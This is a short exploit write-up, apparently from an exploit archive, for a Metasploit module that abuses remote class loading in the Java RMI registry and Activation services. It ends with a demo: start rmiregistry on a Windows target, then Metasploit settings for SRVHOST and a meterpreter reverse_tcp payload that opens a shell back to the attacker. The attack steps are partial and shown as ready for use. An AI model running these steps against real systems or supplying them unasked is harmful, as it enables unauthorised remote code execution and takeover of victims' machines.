Oracle Java RMI documentation

Affected versions :
All JSE versions

Tested on Windows XP Pro SP3 with JSE 7 (build 1.7.0-b147)

Description:
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.

Metasploit demo :

On windows target box :

cd C:\Program Files\Java\jre7\bin
start rmiregistry.exe

On Metasploit box :

set SRVHOST 192.168.178.21
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
